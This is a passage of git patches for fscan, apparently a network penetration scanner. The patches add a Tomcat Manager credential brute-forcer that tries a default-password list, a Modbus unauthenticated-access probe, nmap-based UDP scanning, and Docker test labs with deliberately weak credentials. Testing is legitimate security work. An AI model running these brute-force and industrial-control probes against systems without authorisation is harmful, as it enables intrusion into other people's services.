1502,28018" +var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8443,8080,8089,9000,9200,9092,10051,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9200,9092,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 6490b9d..a4b2da4 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -121,6 +121,12 @@ func init() { ScanFunc: Plugins.ZabbixScan, }) + Common.RegisterPlugin("tomcat", Common.ScanPlugin{ + Name: "Tomcat", + Ports: []int{8080, 8009, 8005}, // Tomcat常用端口 + ScanFunc: Plugins.TomcatScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Tomcat.go b/Plugins/Tomcat.go new file mode 100644 index 0000000..7f4c7bc --- /dev/null +++ b/Plugins/Tomcat.go @@ -0,0 +1,95 @@ +package Plugins + +import ( + "crypto/tls" + "encoding/base64" + "fmt" + "github.com/shadow1ng/fscan/Common" + "net/http" + "strings" + "time" +) + +// TomcatScan 执行 Tomcat Manager 服务扫描 +func TomcatScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["tomcat"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := TomcatConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] Tomcat Manager %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["tomcat"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// TomcatConn 尝试 Tomcat Manager 连接 +func TomcatConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + client := &http.Client{ + Timeout: timeout, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + } + + // 尝试不同的管理路径 + paths := []string{ + "/manager/html", + "/manager/status", + "/manager/text", + "/host-manager/html", + } + + for _, path := range paths { + baseURL := fmt.Sprintf("http://%s:%s%s", host, port, path) + + req, err := http.NewRequest("GET", baseURL, nil) + if err != nil { + continue + } + + // 添加Basic认证 + auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) + req.Header.Add("Authorization", "Basic "+auth) + + resp, err := client.Do(req) + if err != nil { + continue + } + defer resp.Body.Close() + + // 检查响应状态 + if resp.StatusCode == 200 { + result := fmt.Sprintf("[+] Tomcat Manager %v:%v %s 爆破成功 用户名: %v 密码: %v", + host, port, path, user, pass) + Common.LogSuccess(result) + return true, nil + } + } + + return false, fmt.Errorf("认证失败") +} From 57b6d417379b4ad06fc6aa57638ac45d8da39a78 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 03:42:46 +0800 Subject: [PATCH 143/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Tomcat?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Tomcat/Dockerfile | 17 +++++++++++++++++ TestDocker/Tomcat/README.txt | 2 ++ TestDocker/Tomcat/context.xml | 5 +++++ TestDocker/Tomcat/tomcat-users.xml | 19 +++++++++++++++++++ 4 files changed, 43 insertions(+) create mode 100644 TestDocker/Tomcat/Dockerfile create mode 100644 TestDocker/Tomcat/README.txt create mode 100644 TestDocker/Tomcat/context.xml create mode 100644 TestDocker/Tomcat/tomcat-users.xml diff --git a/TestDocker/Tomcat/Dockerfile b/TestDocker/Tomcat/Dockerfile new file mode 100644 index 0000000..075ec94 --- /dev/null +++ b/TestDocker/Tomcat/Dockerfile @@ -0,0 +1,17 @@ +FROM tomcat:9.0-jdk8 + +# 删除默认应用 +RUN rm -rf /usr/local/tomcat/webapps/* + +# 复制tomcat-users.xml配置文件 +COPY tomcat-users.xml /usr/local/tomcat/conf/ + +# 允许远程访问manager +COPY context.xml /usr/local/tomcat/webapps.dist/manager/META-INF/ +COPY context.xml /usr/local/tomcat/webapps.dist/host-manager/META-INF/ + +# 复制默认应用 +RUN cp -r /usr/local/tomcat/webapps.dist/* /usr/local/tomcat/webapps/ + +EXPOSE 8080 +CMD ["catalina.sh", "run"] \ No newline at end of file diff --git a/TestDocker/Tomcat/README.txt b/TestDocker/Tomcat/README.txt new file mode 100644 index 0000000..793ac4f --- /dev/null +++ b/TestDocker/Tomcat/README.txt @@ -0,0 +1,2 @@ +docker build -t tomcat-weak . +docker run -d --name tomcat-test -p 8080:8080 tomcat-weak \ No newline at end of file diff --git a/TestDocker/Tomcat/context.xml b/TestDocker/Tomcat/context.xml new file mode 100644 index 0000000..0d6c02d --- /dev/null +++ b/TestDocker/Tomcat/context.xml @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/TestDocker/Tomcat/tomcat-users.xml b/TestDocker/Tomcat/tomcat-users.xml new file mode 100644 index 0000000..7f4aa6a --- /dev/null +++ b/TestDocker/Tomcat/tomcat-users.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + \ No newline at end of file From 1a5f789ba8e043e1cec9e9b3c6a8d06292175628 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 04:04:48 +0800 Subject: [PATCH 144/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Weblogic?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 - Common/ParseScanMode.go | 2 +- Core/Registry.go | 6 ------ TestDocker/Weblogic/Dockerfile | 20 ++++++++++++++++++++ TestDocker/Weblogic/README.txt | 2 ++ TestDocker/Weblogic/create-domain.py | 26 ++++++++++++++++++++++++++ TestDocker/Weblogic/start.sh | 10 ++++++++++ 7 files changed, 59 insertions(+), 8 deletions(-) create mode 100644 TestDocker/Weblogic/Dockerfile create mode 100644 TestDocker/Weblogic/README.txt create mode 100644 TestDocker/Weblogic/create-domain.py create mode 100644 TestDocker/Weblogic/start.sh diff --git a/Common/Config.go b/Common/Config.go index 2bd156b..f1edbc4 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -21,7 +21,6 @@ var Userdict = map[string][]string{ "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, "zabbix": {"Admin", "admin", "guest", "user"}, - "tomcat": {"tomcat", "admin", "manager", "role1", "root", "both", "admin", "tomcat"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 94490fd..e112a6c 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -19,7 +19,7 @@ const ( // 插件分类映射表 - 所有插件名使用小写 var pluginGroups = map[string][]string{ ModeAll: { - "web", "fcgi", "tomcat", // web类 + "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", // 服务类 diff --git a/Core/Registry.go b/Core/Registry.go index a4b2da4..6490b9d 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -121,12 +121,6 @@ func init() { ScanFunc: Plugins.ZabbixScan, }) - Common.RegisterPlugin("tomcat", Common.ScanPlugin{ - Name: "Tomcat", - Ports: []int{8080, 8009, 8005}, // Tomcat常用端口 - ScanFunc: Plugins.TomcatScan, - }) - Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/TestDocker/Weblogic/Dockerfile b/TestDocker/Weblogic/Dockerfile new file mode 100644 index 0000000..5f90a7f --- /dev/null +++ b/TestDocker/Weblogic/Dockerfile @@ -0,0 +1,20 @@ +FROM container-registry.oracle.com/middleware/weblogic:12.2.1.4-dev + +# 环境变量 +ENV DOMAIN_NAME="base_domain" \ + ADMIN_PORT="7001" \ + ADMIN_NAME="weblogic" \ + ADMIN_PASSWORD="weblogic123" \ + PRODUCTION_MODE="dev" \ + DOMAIN_HOME="/u01/oracle/user_projects/domains/base_domain" + +USER oracle + +# 创建域配置脚本 +COPY --chown=oracle:oracle create-domain.py /u01/oracle/ +COPY --chown=oracle:oracle start.sh /u01/oracle/ +RUN chmod +x /u01/oracle/start.sh + +EXPOSE 7001 7002 + +CMD ["/u01/oracle/start.sh"] \ No newline at end of file diff --git a/TestDocker/Weblogic/README.txt b/TestDocker/Weblogic/README.txt new file mode 100644 index 0000000..4e7eab9 --- /dev/null +++ b/TestDocker/Weblogic/README.txt @@ -0,0 +1,2 @@ +docker build -t weblogic-weak . +docker run -d --name weblogic-test -p 7001:7001 -p 7002:7002 weblogic-weak \ No newline at end of file diff --git a/TestDocker/Weblogic/create-domain.py b/TestDocker/Weblogic/create-domain.py new file mode 100644 index 0000000..24fae1a --- /dev/null +++ b/TestDocker/Weblogic/create-domain.py @@ -0,0 +1,26 @@ +import os + +# 读取模板 +readTemplate("/u01/oracle/wlserver/common/templates/wls/wls.jar") + +# 配置管理服务器 +cd('/Security/base_domain/User/weblogic') +cmo.setPassword('weblogic123') + +# 设置域名称和路径 +cd('/') +cmo.setName('base_domain') +setOption('DomainName', 'base_domain') +setOption('ServerStartMode', 'dev') +setOption('OverwriteDomain', 'true') + +# 配置管理服务器 +cd('/Servers/AdminServer') +set('ListenAddress', '') +set('ListenPort', 7001) + +# 写入域配置 +writeDomain('/u01/oracle/user_projects/domains/base_domain') +closeTemplate() + +exit() \ No newline at end of file diff --git a/TestDocker/Weblogic/start.sh b/TestDocker/Weblogic/start.sh new file mode 100644 index 0000000..b9e21d6 --- /dev/null +++ b/TestDocker/Weblogic/start.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +# 创建域 +wlst.sh -skipWLSModuleScanning /u01/oracle/create-domain.py + +# 等待域创建完成 +sleep 5 + +# 启动服务器 +/u01/oracle/user_projects/domains/base_domain/bin/startWebLogic.sh \ No newline at end of file From fa1d787c84fea8d03159361c947b16846132a63e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 04:36:03 +0800 Subject: [PATCH 145/188] =?UTF-8?q?refactor:=20UDP=E6=89=AB=E6=8F=8F?= =?UTF-8?q?=E6=8D=A2=E7=94=A8Nmap?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Core/PortScan.go | 66 +++++++++++++++++++++--------------------------- go.mod | 1 + go.sum | 2 ++ 3 files changed, 32 insertions(+), 37 deletions(-) diff --git a/Core/PortScan.go b/Core/PortScan.go index 37fa60c..8cf86c6 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -3,11 +3,13 @@ package Core import ( "encoding/binary" "fmt" + "github.com/Ullaakut/nmap" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "github.com/shadow1ng/fscan/Common" "golang.org/x/net/ipv4" + "log" "net" "runtime" "sort" @@ -316,49 +318,39 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 { } func UDPScan(ip string, port int, timeout int64) (bool, error) { - sendConn, err := net.ListenPacket("udp4", "0.0.0.0:0") + // 构造端口字符串 + portStr := fmt.Sprintf("%d", port) + + // 配置nmap扫描 + scanner, err := nmap.NewScanner( + nmap.WithTargets(ip), + nmap.WithPorts(portStr), + nmap.WithUDPScan(), + nmap.WithTimingTemplate(nmap.TimingAggressive), + ) if err != nil { - return false, fmt.Errorf("创建UDP套接字失败: %v", err) - } - defer sendConn.Close() - - dstAddr := &net.UDPAddr{ - IP: net.ParseIP(ip), - Port: port, + return false, fmt.Errorf("创建扫描器失败: %v", err) } - // 根据端口发送对应的探测包 - var probe []byte - switch port { - case 161: // SNMP - // SNMP GetRequest - probe = []byte{ - 0x30, 0x26, 0x02, 0x01, 0x01, 0x04, 0x06, 0x70, - 0x75, 0x62, 0x6c, 0x69, 0x63, 0xa0, 0x19, 0x02, - 0x04, 0x6b, 0x8b, 0x44, 0x5b, 0x02, 0x01, 0x00, - 0x02, 0x01, 0x00, 0x30, 0x0b, 0x30, 0x09, 0x06, - 0x05, 0x2b, 0x06, 0x01, 0x02, 0x01, 0x05, 0x00, + // 执行扫描 + result, warnings, err := scanner.Run() + if err != nil { + return false, fmt.Errorf("扫描执行失败: %v", err) + } + if warnings != nil { + log.Printf("扫描警告: %v", warnings) + } + + // 检查结果 + for _, host := range result.Hosts { + for _, p := range host.Ports { + if int(p.ID) == port && + (p.State.State == "open" || p.State.State == "open|filtered") { + return true, nil + } } - default: - probe = []byte{0x00} } - _, err = sendConn.WriteTo(probe, dstAddr) - if err != nil { - return false, fmt.Errorf("发送UDP包失败: %v", err) - } - - sendConn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) - - buffer := make([]byte, 65507) - n, _, err := sendConn.ReadFrom(buffer) - - // 收到响应则认为端口开放 - if err == nil && n > 0 { - return true, nil - } - - // ICMP Unreachable 或其他错误都认为端口关闭 return false, nil } diff --git a/go.mod b/go.mod index 44126d8..e49f686 100644 --- a/go.mod +++ b/go.mod @@ -35,6 +35,7 @@ require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/BurntSushi/toml v0.3.1 // indirect + github.com/Ullaakut/nmap v2.0.2+incompatible // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/eapache/go-resiliency v1.7.0 // indirect diff --git a/go.sum b/go.sum index 0b6924a..1a2b69f 100644 --- a/go.sum +++ b/go.sum @@ -24,6 +24,8 @@ github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/Ullaakut/nmap v2.0.2+incompatible h1:edw45QpSQBQ2B/Hqfg86Bt5rrK79tp/fAcqIHyNSdQs= +github.com/Ullaakut/nmap v2.0.2+incompatible/go.mod h1:fkC066hwfcoKwlI7DS2ARTggSVtBTZYCjVH1TzuTMaQ= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= From 94121a796fbfab94b821388888c18b6878d99eaf Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 06:16:35 +0800 Subject: [PATCH 146/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Modbus?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E5=92=8C=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 ++ Plugins/Modbus.go | 105 +++++++++++++++++++++++++++++++++++ TestDocker/Modbus/README.txt | 1 + 5 files changed, 116 insertions(+), 4 deletions(-) create mode 100644 Plugins/Modbus.go create mode 100644 TestDocker/Modbus/README.txt diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index e112a6c..d8992a5 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -22,7 +22,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -37,7 +37,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index 66d40a6..b24141f 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,12 +5,12 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,502,587,636,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9200,9092,10051,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9200,9092,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 6490b9d..e24e226 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -121,6 +121,12 @@ func init() { ScanFunc: Plugins.ZabbixScan, }) + Common.RegisterPlugin("modbus", Common.ScanPlugin{ + Name: "Modbus", + Ports: []int{502, 5020}, // Modbus 默认端口 + ScanFunc: Plugins.ModbusScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Modbus.go b/Plugins/Modbus.go new file mode 100644 index 0000000..a00da6e --- /dev/null +++ b/Plugins/Modbus.go @@ -0,0 +1,105 @@ +package Plugins + +import ( + "encoding/binary" + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "time" +) + +// ModbusScan 执行 Modbus 服务扫描 +func ModbusScan(info *Common.HostInfo) error { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 尝试建立连接 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) + if err != nil { + return err + } + defer conn.Close() + + // 构造Modbus TCP请求包 - 读取设备ID + request := buildModbusRequest() + + // 设置读写超时 + conn.SetDeadline(time.Now().Add(timeout)) + + // 发送请求 + _, err = conn.Write(request) + if err != nil { + return fmt.Errorf("发送Modbus请求失败: %v", err) + } + + // 读取响应 + response := make([]byte, 256) + n, err := conn.Read(response) + if err != nil { + return fmt.Errorf("读取Modbus响应失败: %v", err) + } + + // 验证响应 + if isValidModbusResponse(response[:n]) { + result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port) + Common.LogSuccess(result) + + // 尝试读取更多设备信息 + deviceInfo := parseModbusResponse(response[:n]) + if deviceInfo != "" { + Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo)) + } + return nil + } + + return fmt.Errorf("非Modbus服务或访问被拒绝") +} + +// buildModbusRequest 构建Modbus TCP请求包 +func buildModbusRequest() []byte { + request := make([]byte, 12) + + // Modbus TCP头部 + binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符 + binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符 + binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度 + request[6] = 0x01 // 单元标识符 + + // Modbus 请求 + request[7] = 0x01 // 功能码: Read Coils + binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址 + binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量 + + return request +} + +// isValidModbusResponse 验证Modbus响应是否有效 +func isValidModbusResponse(response []byte) bool { + if len(response) < 9 { + return false + } + + // 检查协议标识符 + protocolID := binary.BigEndian.Uint16(response[2:]) + if protocolID != 0 { + return false + } + + // 检查功能码 + funcCode := response[7] + if funcCode == 0x81 { // 错误响应 + return false + } + + return true +} + +// parseModbusResponse 解析Modbus响应获取设备信息 +func parseModbusResponse(response []byte) string { + if len(response) < 9 { + return "" + } + + unitID := response[6] + return fmt.Sprintf("Unit ID: %d", unitID) +} diff --git a/TestDocker/Modbus/README.txt b/TestDocker/Modbus/README.txt new file mode 100644 index 0000000..d593864 --- /dev/null +++ b/TestDocker/Modbus/README.txt @@ -0,0 +1 @@ +docker run --rm -p 5020:5020 oitc/modbus-server:latest \ No newline at end of file From 0a9c732ee8a76d726a7086dbcd64a251e77561fb Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 06:43:44 +0800 Subject: [PATCH 147/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Rsync?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E5=92=8C=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 ++ Plugins/Rsync.go | 185 ++++++++++++++++++++++++++++++++++++ TestDocker/Rsync/Dockerfile | 39 ++++++++ TestDocker/Rsync/README.txt | 2 + 7 files changed, 237 insertions(+), 4 deletions(-) create mode 100644 Plugins/Rsync.go create mode 100644 TestDocker/Rsync/Dockerfile create mode 100644 TestDocker/Rsync/README.txt diff --git a/Common/Config.go b/Common/Config.go index f1edbc4..d8d07d7 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -21,6 +21,7 @@ var Userdict = map[string][]string{ "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, "zabbix": {"Admin", "admin", "guest", "user"}, + "rsync": {"rsync", "root", "admin", "backup"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index d8992a5..2a21477 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -22,7 +22,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", "rsync", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -37,7 +37,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", "rsync", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index b24141f..e97fd61 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,12 +5,12 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,502,587,636,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" +var ServicePorts = 